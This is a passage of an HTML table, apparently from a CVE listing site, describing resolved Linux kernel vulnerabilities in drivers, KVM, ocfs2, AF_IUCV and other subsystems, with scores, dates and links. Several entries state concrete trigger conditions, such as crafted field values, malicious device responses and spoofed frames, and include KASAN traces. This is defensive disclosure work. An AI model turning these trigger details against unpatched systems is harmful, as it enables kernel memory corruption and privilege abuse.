&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: vsie: zero stale crypto bits When shadowing crypto access bits from a format0 apcb (crycb 0 or 1), the bits 64..255 are unchanged from whatever is in the vsie page in the crycb and thus in the apcb. This gives a nested guest potential access to a device no longer available. Zero out the remaining bits.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80921&quot; target=&quot;_blank&quot;&gt;CVE-2026-80921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: flush works in dependency order virtio_vsock_remove() stops the virtqueues and then flushes each work item before freeing the enclosing virtio_vsock. The current order does not account for dependencies between those items: tx_work may queue send_pkt_work, and send_pkt_work may queue rx_work. In particular, send_pkt_work can set restart_rx and release tx_lock. The remove path can then stop the queues and flush rx_work before send_pkt_work queues it. Although the later send_pkt_work flush waits for that producer to finish, nothing waits for the newly queued rx_work, so kfree(vsock) can race with it. KASAN reported: BUG: KASAN: slab-use-after-free in virtio_transport_rx_work+0x487/0x4b0 Read of size 8 at addr ffff888114c2b008 by task kworker/1:1/47 Workqueue: virtio_vsock virtio_transport_rx_work Call Trace: virtio_transport_rx_work+0x487/0x4b0 process_one_work+0x688/0x1120 worker_thread+0x45b/0xd10 Allocated by task 1: virtio_vsock_probe+0xef/0x6b0 Freed by task 84: kfree+0x131/0x3c0 virtio_vsock_remove+0xd1/0x100 Flush the works in producer-to-consumer order. virtio_vsock_vqs_del() has already disabled the queue callbacks and cleared the run flags, so after tx_work and send_pkt_work are drained, no source remains that can queue rx_work after its flush.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80932&quot; target=&quot;_blank&quot;&gt;CVE-2026-80932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: bound the device EEPROM address before the EFUSE copy mt7996_mcu_get_eeprom() derives the destination of the EFUSE/EXT block copy from the address reported by the MCU response (event-&amp;gt;addr, a device-controlled __le32) and clamps only the copy length, never the destination offset into dev-&amp;gt;mt76.eeprom.data. A malicious or malfunctioning device can report an arbitrary address and drive an out-of-bounds write of up to MT7996_EXT_EEPROM_BLOCK_SIZE bytes past eeprom.data. Reject a response whose address would place the copy outside eeprom.data before deriving the destination pointer. Devices that echo the requested in-bounds offset are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80935&quot; target=&quot;_blank&quot;&gt;CVE-2026-80935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: bound the device EEPROM address before the EFUSE copy mt7915_mcu_get_eeprom() copies a fixed EFUSE block into the driver&#039;s dev-&amp;gt;mt76.eeprom.data buffer at the offset reported by the MCU response (res-&amp;gt;addr, a device-controlled __le32) without checking it against the buffer size. A malicious or malfunctioning device can report an arbitrary address and drive a 16-byte out-of-bounds write past eeprom.data. Reject a response whose address would place the copy outside eeprom.data before deriving the destination pointer. Devices that echo the requested in-bounds offset are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80937&quot; target=&quot;_blank&quot;&gt;CVE-2026-80937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: adi: initialize the lock before enabling interrupts adi_i3c_master_probe() requests the IRQ and unmasks REG_IRQ_PENDING_CMDR before the controller&#039;s IBI state, transfer queue list and transfer queue lock are initialized. A pending CMDR interrupt can therefore run adi_i3c_master_irq() and take master-&amp;gt;xferqueue.lock before the dynamic lock has been initialized. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the probe ordering and the IRQ path adi_i3c_master_probe() -&amp;gt; adi_i3c_master_irq() -&amp;gt; xferqueue.lock, with a pending CMDR interrupt arriving after REG_IRQ_PENDING_CMDR is unmasked. Lockdep reported: INFO: trying to register non-static key. you didn&#039;t initialize this object before use? lock_acquire+0xbb/0x290 _raw_spin_lock_irqsave+0x36/0x60 adi_i3c_master_irq+0x32/0x56 [vuln_msv] adi_i3c_master_probe+0x5a/0xf47 [vuln_msv] Initialize the transfer queue and IBI state before requesting and unmasking the IRQ.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80953&quot; target=&quot;_blank&quot;&gt;CVE-2026-80953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: pcxhr: initialize mutexes before requesting threaded IRQ pcxhr_probe() requests pcxhr_threaded_irq() before initializing mgr-&amp;gt;lock, even though the threaded handler takes that mutex. Initialize the manager locks before request_threaded_irq() so an early interrupt cannot run against uninitialized mutex state during probe.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80967&quot; target=&quot;_blank&quot;&gt;CVE-2026-80967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: carry oversized SMC-Rv2 LLC messages in the queue entry smc_llc_rmt_delete_rkey() and smc_llc_save_add_link_rkeys() read the part of a v2 message that does not fit into the 44-byte union smc_llc_msg, and both bound themselves by the size of the buffer it landed in, not by what arrived. On a link with a shared v2 receive buffer a 44-byte DELETE_RKEY_V2 declaring 255 rkeys reaches rkey[9..254] in whatever an earlier message left in lgr-&amp;gt;wr_rx_buf_v2, and passes each of them to smc_rtoken_delete(). One of those 255 matched a registered rtoken and deleted it. An ADD_LINK on such a link installs up to 255 rtokens from the same bytes. Copy the tail into the queue entry, so its length is the length of the message that arrived, and declare the rkeys that fit inline as a member of the union instead of reaching them through a cast. The same DELETE_RKEY_V2 now processes the 9 rkeys it carries. The copy is limited to the longest tail the two functions can read, so the peer does not pick the size of the entry. The bound the previous patch placed on links without a shared v2 receive buffer is no longer needed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80985&quot; target=&quot;_blank&quot;&gt;CVE-2026-80985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: thunderbolt: Mark the connection down when bringing it up fails Every failure path in tbnet_connected_work() undoes its own work and returns without clearing login_sent, so the connection still looks established. The next tbnet_tear_down() therefore takes its main branch and repeats a teardown that already happened: it stops rings that are already stopped, which is a dev_WARN() and fatal under panic_on_warn, and it releases net-&amp;gt;remote_transmit_path even on the HopID mismatch path, where this connection never owned that id, silently freeing one that someone else is still using. Clear login_sent on those paths. That is enough for tbnet_tear_down() to leave the unwound state alone, and login_received has to stay set: it records that the peer has logged in and carries the transmit path it gave us, which nothing on this side can make the peer send again. Two things change beyond keeping the teardown out of the way: the logout request in that block is no longer sent, and the peer&#039;s next login request now re-queues our login work rather than connected_work, giving the connection a fresh login instead of a retry on stale state.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80989&quot; target=&quot;_blank&quot;&gt;CVE-2026-80989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/iucv: filter frames in afiucv_hs_rcv() by ingress device afiucv_hs_rcv() selects a socket from iucv_sk_list by matching four 8-byte name fields in the transport header alone. No check is made against the net_device the frame arrived on. This can cause a frame arriving on any netdev to be delivered to an AF_IUCV socket. Three problems follow. First, a frame arriving over HiperSockets can be delivered to a socket bound to the classic z/VM IUCV transport, which has iucv-&amp;gt;hs_dev == NULL. iucv_sock_bind() takes the classic path whenever the requested userid matches iucv_userid, even on a guest that also has a HiperSockets device carrying the same identifier. The child socket created by afiucv_hs_callback_syn() for such a match inherits hs_dev = NULL and transport = AF_IUCV_TRANS_HIPER, so the first send() on it returns -ENODEV. The socket delivered to accept() is unusable. Second, a frame arriving on one netdev can be delivered to a socket bound to a different IQD device. Which can lead to - Accept-queue exhaustion (DoS) - Attacker-controlled peer identity in the child socket - Data injection into existing sockets - Fabric noise on the IQD fabric, where bogus replies are sent - killing established connections Third, all AF_IUCV sockets live in init_net, as iucv_sock_alloc() calls sk_alloc(&amp;amp;init_net, ...). But even frames arriving on netdev devices in a namespace can be delivered to an IUCV socket. So a process in an unprivileged user and network namespace holding only the CAP_NET_RAW capability valid within that namespace can send a raw ETH_P_AF_IUCV frame on its own lo device and have it matched against init_net sockets. Fix all three by skipping any socket whose hs_dev does not match the ingress device. A classic z/VM IUCV socket has hs_dev == NULL; the ingress dev is never NULL, so classic sockets are skipped automatically. An unbound HIPER socket also has hs_dev == NULL and is skipped. A bound HIPER socket is only reachable from the exact IQD device it was bound to. Because hs_dev is always a device in init_net (iucv_sock_bind() scans for_each_netdev_rcu(&amp;amp;init_net, ...) exclusively), a frame whose ingress device belongs to another namespace never matches any socket. Note that AF_IUCV over HiperSockets provides no per-connection authentication: no sequence numbers, no TLS, no nonce. The four name fields identifying a connection are exchanged in plaintext on the shared HiperSockets segment (VCHID). Any host on the same HiperSockets segment could spoof any frame type against an existing connection. That is a protocol-level property unchanged by this patch. The fix reduces the attack surface to peers present on the same HiperSockets segment.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81003&quot; target=&quot;_blank&quot;&gt;CVE-2026-81003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmi:msghandler: Cancel work cleanly on an error If an error occurs during startup of an IPMI interface, it may have scheduled work to run. The work needs to be canceled before the interface can be freed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81004&quot; target=&quot;_blank&quot;&gt;CVE-2026-81004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix off-by-one write in hp_get_string_from_buffer() hp_get_string_from_buffer() clamps the converted string length against the destination buffer size with &quot;size &amp;gt; dst_size&quot;, so when the converted length is exactly equal to dst_size, conv_dst_size is left at dst_size and the unconditional NUL terminator write dst[conv_dst_size] = 0; lands one byte past the destination buffer. This is the same shape of bug as the previously fixed off-by-one in hp_convert_hexstr_to_str(): the buffer is sized correctly for the content, but the terminator write is never checked against that size. Fix by changing the comparison to &quot;&amp;gt;=&quot; so conv_dst_size is always left with room for the terminator. All fixed-size destinations that reach this function (path[512], current_value[512], current_password/current_value[64], and the per-entry buffers in encodings[][512] and prerequisites[][512]) are affected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81012&quot; target=&quot;_blank&quot;&gt;CVE-2026-81012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/chrome: sensorhub: Bound the EC-reported sensor number Each EC FIFO event carries an 8-bit sensor number (in-&amp;gt;sensor_num). cros_ec_sensorhub_ring_handler() validates the FIFO event count, the per-read count and the ring bound, but not the sensor number, which cros_ec_sensor_ring_process_event() then uses unchecked to index sensorhub-&amp;gt;batch_state[] - allocated with only sensorhub-&amp;gt;sensor_num entries. A sensor number of sensor_num or larger is an out-of-bounds read and write of batch_state[]. Validate the sensor number in the ring handler, where each event is read from the EC, and drop a malformed event before it is used.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81017&quot; target=&quot;_blank&quot;&gt;CVE-2026-81017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommufd: Fix UAF in selftest IOPF reporting IOMMUFD selftest TRIGGER_IOPF borrows an attach handle from group-&amp;gt;pasid_array without synchronizing against PASID detach, then a concurrent iommu_report_device_fault() can dereference that borrowed handle&#039;s domain pointer after the detach erases the handle and frees the backing struct iommufd_attach_handle. TRIGGER_IOPF then dereferences the freed handle, causing a UAF. Fix by adding a iopf_rwsem in mock_dev to follow the expected design of a real driver. Hold its read side across the whole iommu_report_device_fault() call, and its write side around every path that attaches, detaches, or replaces a device domain. This can block new reports and drains in-flight reports before an old attach handle or the IOPF fault parameter can be removed. Also take the write side while registering a mock device, since it can invoke the mock driver&#039;s default-domain attach callback.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89445&quot; target=&quot;_blank&quot;&gt;CVE-2026-89445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Reject a vSID wider than the SID_MATCH field tegra241_vintf_init_vsid() programs the guest-provided vSID into SID_MATCH, whose VIRT_SID field spans bits [20:1] with bit 0 as the match-enable flag. The HW therefore matches only a 20-bit Stream ID. The bound check rejects only virt_sid &amp;gt; UINT_MAX, which admits a value far wider than the field. The write &quot;virt_sid &amp;lt;&amp;lt; 1 | 0x1&quot; then drops every bit above 20: a virt_sid of 0x80000000 lands as SID_MATCH = 0x1, a valid match on vSID 0, so the entry aliases the wrong Stream ID. Because vdev-&amp;gt;virt_id is guest-controlled, a VMM can trigger it. Validate virt_sid against the field width with FIELD_MAX(), and program the register with FIELD_PREP() so the value and the field stay consistent.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89450&quot; target=&quot;_blank&quot;&gt;CVE-2026-89450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/msm: Unwind probe state on registration failure msm_iommu_probe() adds its devm-managed IOMMU object to qcom_iommu_devices before adding the IOMMU sysfs device and registering it with the IOMMU core. If iommu_device_sysfs_add() fails, probe returns with the object still on qcom_iommu_devices. The driver core then releases the devm allocation, leaving a dangling list entry that later list walks may dereference. If iommu_device_register() fails, the same dangling list entry remains and the sysfs device is left registered as well. Unwind the sysfs device and global list entry in reverse setup order on the corresponding failure paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89452&quot; target=&quot;_blank&quot;&gt;CVE-2026-89452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: rt9455: quiesce delayed work before teardown The threaded IRQ handler can queue pwr_rdy_work, max_charging_time_work and batt_presence_work. pwr_rdy_work and batt_presence_work can also queue max_charging_time_work, while batt_presence_work can requeue itself. rt9455_remove() cancels max_charging_time_work before batt_presence_work. The latter can therefore queue max_charging_time_work after it has already been cancelled: rt9455_remove() workqueue cancel pwr_rdy_work cancel max_charging_time_work batt_presence_work queues max_charging_time_work cancel batt_presence_work return devres frees rt9455_info max_charging_time_work dereferences rt9455_info The IRQ also remains registered until devres cleanup and can queue more work after any of the cancellation calls. If rt9455_hw_init() fails after the IRQ has been requested, probe returns without cancelling work that may already have been queued. A pending callback can then access rt9455_info after it has been freed. Register rt9455_cancel_all_delayed_works() through devm_add_action_or_reset() right after devm_power_supply_register(). devres invokes the action in reverse registration order, after the managed IRQ has been freed and before rt9455_info is released, so the delayed works are drained in both rt9455_remove() and the probe error path. Cancel pwr_rdy_work and batt_presence_work before max_charging_time_work because both can queue the latter. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89465&quot; target=&quot;_blank&quot;&gt;CVE-2026-89465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: lp8727: fix use-after-free in lp8727_release_irq() lp8727_isr_func(), the threaded IRQ handler, is the only caller that arms pchg-&amp;gt;work via schedule_delayed_work(). lp8727_release_irq() currently cancels the work before freeing the IRQ, so an IRQ delivered in between can re-arm the work through the threaded handler. After .remove returns the devm layer frees pchg while lp8727_delayed_func() may still run and dereference it. Free the IRQ first so the threaded handler is quiesced and can no longer queue work, then cancel the delayed work to drain the final generation. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89469&quot; target=&quot;_blank&quot;&gt;CVE-2026-89469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: cros_usbpd: Limit port counts to EC_USB_PD_MAX_PORTS Currently the cros_usbpd-charger driver probe iterates based on raw charger port count returned by the embedded controller. The only check is against the number of USB PD ports which the embedded controller also defines. A malicious embedded controller could return an inaccurate port count (up to 255) resulting in an out of bounds write and subsequent memory corruption. Update helper functions in cros_usbpd-charger to limit port counts to EC_USB_PD_MAX_PORTS.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89470&quot; target=&quot;_blank&quot;&gt;CVE-2026-89470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: cros_usbpd-charger: bound the EC-reported port count cros_usbpd_charger_probe() reads two port counts from the EC and uses one of them, num_charger_ports, as the loop bound when populating a fixed-size array: struct port_data *ports[EC_USB_PD_MAX_PORTS]; /* 8 entries */ ... for (i = 0; i &amp;lt; charger-&amp;gt;num_charger_ports; i++) charger-&amp;gt;ports[charger-&amp;gt;num_registered_psy++] = port; Both num_usbpd_ports (from EC_CMD_USB_PD_PORTS) and num_charger_ports (from EC_CMD_CHARGE_PORT_COUNT) are u8 values reported by the EC. The only validation is a sanity check that compares the two EC-reported values against each other: if (num_charger_ports &amp;lt; num_usbpd_ports || num_charger_ports &amp;gt; num_usbpd_ports + 1) return -EPROTO; It never checks either count against EC_USB_PD_MAX_PORTS, the size of the ports[] array. A malfunctioning, malicious or compromised EC that reports num_usbpd_ports == num_charger_ports == N for any N &amp;gt; 8 (for example both 255) passes this check, and the loop then writes N pointers into the 8-entry ports[] array embedded in the devm_kzalloc()&#039;d charger_data, overflowing it by up to 255 - 8 = 247 entries (~1976 bytes): a slab out-of-bounds write. Reject a port count larger than the ports[] array can hold.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89471&quot; target=&quot;_blank&quot;&gt;CVE-2026-89471&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate rl_used against rl_count in refcount block validator ocfs2_find_refcount_rec_in_rl() walks the on-disk refcount record array with: for (; i &amp;lt; le16_to_cpu(rb-&amp;gt;rf_records.rl_used); i++) { rec = &amp;amp;rb-&amp;gt;rf_records.rl_recs[i]; ... rl_recs[] lives in a single metadata block (4096 bytes on the common configuration), so its real capacity is fixed by ocfs2_refcount_recs_per_rb(sb) (247 records for a 4K block with the 16-byte ocfs2_refcount_rec). rl_used and rl_count are both read directly off disk by ocfs2_validate_refcount_block() and are never checked against that capacity, nor against each other, before any refcount/reflink/CoW operation walks the array. A crafted (or corrupted) refcount block with rl_used == 0xffff makes the loop above walk far past the end of the block, dereferencing rl_recs[i] for i up to 65534. The resulting index is then handed to the sibling ocfs2_insert_refcount_rec(), whose insert-shift does: if (index &amp;lt; le16_to_cpu(rf_list-&amp;gt;rl_used)) memmove(&amp;amp;rf_list-&amp;gt;rl_recs[index + 1], &amp;amp;rf_list-&amp;gt;rl_recs[index], (le16_to_cpu(rf_list-&amp;gt;rl_used) - index) * sizeof(struct ocfs2_refcount_rec)); i.e. a memmove() of up to (0xffff - index) * 16 bytes (~1 MiB) from an offset already past the block. This is reachable from an ordinary reflink (FICLONE) against a crafted/corrupted ocfs2 image: attaching an extent whose cpos sorts past every real record in the leaf forces the lookup to run off the end instead of returning early on a match. The attacker model is local: CAP_SYS_ADMIN mounting a crafted or corrupted ocfs2 image, or a raw write to the block device backing an already-mounted ocfs2 filesystem. ocfs2_validate_refcount_block() already validates the block&#039;s ECC, signature, rf_blkno and rf_fs_generation, but never rl_count/rl_used against the block&#039;s actual on-disk capacity. This is the same class of gap that ocfs2_validate_extent_block() (fs/ocfs2/alloc.c) already closes for the sibling extent-list header, which checks both the record capacity and the &quot;used&quot; bound before any code walks h_list.l_recs[]: if (le16_to_cpu(eb-&amp;gt;h_list.l_count) != ocfs2_extent_recs_per_eb(sb)) { rc = ocfs2_error(...); goto bail; } if (le16_to_cpu(eb-&amp;gt;h_list.l_next_free_rec) &amp;gt; le16_to_cpu(eb-&amp;gt;h_list.l_count)) { rc = ocfs2_error(...); goto bail; } Add the equivalent pair of checks to ocfs2_validate_refcount_block(): reject a refcount block whose rl_count does not match the fixed per-block capacity returned by ocfs2_refcount_recs_per_rb(), and reject rl_used &amp;gt; rl_count. Both checks are skipped when OCFS2_REFCOUNT_TREE_FL is set, because in that case the same union bytes hold an ocfs2_extent_list (rf_list), not the refcount record list (rf_records) -- that layout is already validated separately by ocfs2_validate_extent_block() when the referenced extent block is read. This mirrors the existing &quot;!(rb-&amp;gt;rf_flags &amp;amp; OCFS2_REFCOUNT_TREE_FL)&quot; guard used elsewhere in this file (e.g. ocfs2_get_refcount_rec()) to decide whether rf_records or rf_list is the live member of the union. With this in place, a forged rl_used/rl_count is caught at block validation time (ocfs2_error()), consistent with every other corruption check in this function, instead of driving an out-of-bounds read in ocfs2_find_refcount_rec_in_rl() and a subsequent out-of-bounds memmove() in ocfs2_insert_refcount_rec(). Verified against a crafted image on a v6.19 KASAN (KASAN_GENERIC) build: replaying the same reflink (FICLONE) reliably hit a KASAN report in __ocfs2_increase_refcount()/ocfs2_insert_refcount_rec() before this patch, and triggers no report once ocfs2_validate_refcount_block() rejects the forged rl_used/rl_count.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89493&quot; target=&quot;_blank&quot;&gt;CVE-2026-89493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: regulator: as3722_get_regulator_dt_data: fix premature of_node_put leaving dangling of_node pointer In as3722_get_regulator_dt_data(), of_get_child_by_name() acquires a reference on np, which is then assigned to pdev-&amp;gt;dev.of_node. The function immediately calls of_node_put(np), releasing the reference and leaving pdev-&amp;gt;dev.of_node as a dangling pointer. Remove the of_node_put(np) call to let the device hold the reference.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89504&quot; target=&quot;_blank&quot;&gt;CVE-2026-89504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RISC-V: KVM: Fix PMU event info array size overflow SBI PMU EVENT_GET_INFO stores guest-controlled num_events * sizeof(*einfo) in a 32-bit integer. On RV64, num_events = 0x10000001 makes 0x100000010 truncate to 16. KVM then allocates one entry but loops over the original num_events, causing out-of-bounds reads and writes. A nested guest triggered: BUG: KASAN: slab-out-of-bounds in kvm_riscv_vcpu_pmu_event_info+0xa4/0x142 Read of size 4 at addr ff600000074d46b0 by task init/1 Call Trace: [&amp;lt;ffffffff8006471c&amp;gt;] kvm_riscv_vcpu_pmu_event_info+0xa4/0x142 [&amp;lt;ffffffff800690c0&amp;gt;] kvm_sbi_ext_pmu_handler+0xca/0x268 [&amp;lt;ffffffff8006779e&amp;gt;] kvm_riscv_vcpu_sbi_ecall+0xec/0x1e6 [&amp;lt;ffffffff8006008c&amp;gt;] kvm_riscv_vcpu_exit+0x48c/0x540 [&amp;lt;ffffffff8005ea0a&amp;gt;] kvm_arch_vcpu_ioctl_run+0x37e/0xc80 Allocated by task 1: __kmalloc_noprof+0x19e/0x4b0 kvm_riscv_vcpu_pmu_event_info+0x72/0x142 kvm_sbi_ext_pmu_handler+0xca/0x268 kvm_riscv_vcpu_sbi_ecall+0xec/0x1e6 kvm_riscv_vcpu_exit+0x48c/0x540 kvm_arch_vcpu_ioctl_run+0x37e/0xc80 The buggy address is located 0 bytes to the right of allocated 16-byte region [ff600000074d46a0, ff600000074d46b0) Store the shared-memory size in size_t and reject multiplication overflow. Allocate the guest-driven array with GFP_KERNEL_ACCOUNT so it is charged to kmemcg, and use __GFP_NOWARN to suppress allocation failure warnings. Use kvcalloc() to allow vmalloc fallback and an unsigned long loop index to match num_events.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89513&quot; target=&quot;_blank&quot;&gt;CVE-2026-89513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
